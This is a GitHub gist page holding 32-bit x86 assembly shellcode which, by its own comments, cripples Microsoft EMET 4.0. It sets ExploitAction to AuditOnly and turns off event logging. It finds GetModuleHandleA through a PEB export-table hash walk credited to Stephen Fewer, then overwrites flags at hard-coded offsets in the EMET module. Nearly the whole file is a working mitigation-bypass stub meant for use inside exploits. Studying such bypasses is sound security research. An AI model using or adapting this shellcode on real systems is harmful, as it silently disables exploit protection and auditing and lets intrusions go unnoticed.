Created
October 14, 2013 15:50
-
-
Save zeroSteiner/6977803 to your computer and use it in GitHub Desktop.
This stub will cripple EMET 4.0 by setting the ExploitAction to AuditOnly and configuring it to not log events. The api_call function originated from Stephen Fewer.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[BITS 32] | |
; This stub will cripple EMET 4.0 by setting the ExploitAction to AuditOnly | |
; and configuring it to not log events. The api_call function originated from | |
; Stephen Fewer. | |
global _start | |
_start: | |
xor ebx,ebx ; Zero EBX | |
push ebx ; Push 0 onto the stack (null terminator for 'emet'). | |
push 0x74656d65 ; Push 'emet' onto the stack. | |
push esp ; Push a pointer to 'emet', 0, 0, 0, 0 onto the stack. | |
push 0xdad5b06c ; hash( "kernel32.dll", "GetModuleHandleA" ) | |
call api_call | |
test eax, eax ; Check eax != 0 | |
jz _end ; Jmp _end if eax == 0 | |
add eax, 0x79074 ; Calculate the offset to the flag for EMET 4.0 | |
mov dword [eax], ebx ; Set ExploitAction to AuditOnly | |
add eax, 0x5008 | |
mov byte [eax], 1 ; Disable logging | |
jmp _end | |
api_call: | |
pushad ; We preserve all the registers for the caller, bar EAX and ECX. | |
mov ebp, esp ; Create a new stack frame | |
xor edx, edx ; Zero EDX | |
mov edx, [fs:edx+48] ; Get a pointer to the PEB | |
mov edx, [edx+12] ; Get PEB->Ldr | |
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list | |
next_mod: ; | |
mov esi, [edx+40] ; Get pointer to modules name (unicode string) | |
movzx ecx, word [edx+38] ; Set ECX to the length we want to check | |
xor edi, edi ; Clear EDI which will store the hash of the module name | |
loop_modname: ; | |
xor eax, eax ; Clear EAX | |
lodsb ; Read in the next byte of the name | |
cmp al, 'a' ; Some versions of Windows use lower case module names | |
jl not_lowercase ; | |
sub al, 0x20 ; If so normalise to uppercase | |
not_lowercase: ; | |
ror edi, 13 ; Rotate right our hash value | |
add edi, eax ; Add the next byte of the name | |
loop loop_modname ; Loop untill we have read enough | |
; We now have the module hash computed | |
push edx ; Save the current position in the module list for later | |
push edi ; Save the current module hash for later | |
; Proceed to itterate the export address table, | |
mov edx, [edx+16] ; Get this modules base address | |
mov eax, [edx+60] ; Get PE header | |
add eax, edx ; Add the modules base address | |
mov eax, [eax+120] ; Get export tables RVA | |
test eax, eax ; Test if no export address table is present | |
jz get_next_mod1 ; If no EAT present, process the next module | |
add eax, edx ; Add the modules base address | |
push eax ; Save the current modules EAT | |
mov ecx, [eax+24] ; Get the number of function names | |
mov ebx, [eax+32] ; Get the rva of the function names | |
add ebx, edx ; Add the modules base address | |
; Computing the module hash + function hash | |
get_next_func: ; | |
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module | |
dec ecx ; Decrement the function name counter | |
mov esi, [ebx+ecx*4] ; Get rva of next module name | |
add esi, edx ; Add the modules base address | |
xor edi, edi ; Clear EDI which will store the hash of the function name | |
; And compare it to the one we want | |
loop_funcname: ; | |
xor eax, eax ; Clear EAX | |
lodsb ; Read in the next byte of the ASCII function name | |
ror edi, 13 ; Rotate right our hash value | |
add edi, eax ; Add the next byte of the name | |
cmp al, ah ; Compare AL (the next byte from the name) to AH (null) | |
jne loop_funcname ; If we have not reached the null terminator, continue | |
add edi, [ebp-8] ; Add the current module hash to the function hash | |
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for | |
jnz get_next_func ; Go compute the next function hash if we have not found it | |
; If found, fix up stack, call the function and then value else compute the next one... | |
pop eax ; Restore the current modules EAT | |
mov ebx, [eax+36] ; Get the ordinal table rva | |
add ebx, edx ; Add the modules base address | |
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal | |
mov ebx, [eax+28] ; Get the function addresses table rva | |
add ebx, edx ; Add the modules base address | |
mov eax, [ebx+4*ecx] ; Get the desired functions RVA | |
add eax, edx ; Add the modules base address to get the functions actual VA | |
; We now fix up the stack and perform the call to the desired function... | |
finish: | |
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad | |
pop ebx ; Clear off the current modules hash | |
pop ebx ; Clear off the current position in the module list | |
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered | |
pop ecx ; Pop off the origional return address our caller will have pushed | |
pop edx ; Pop off the hash value our caller will have pushed | |
push ecx ; Push back the correct return value | |
jmp eax ; Jump into the required function | |
; We now automagically return to the correct caller... | |
get_next_mod: ; | |
pop eax ; Pop off the current (now the previous) modules EAT | |
get_next_mod1: ; | |
pop edi ; Pop off the current (now the previous) modules hash | |
pop edx ; Restore our position in the module list | |
mov edx, [edx] ; Get the next module | |
jmp short next_mod ; Process this module | |
_end: | |
nop | |
nop | |
nop |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment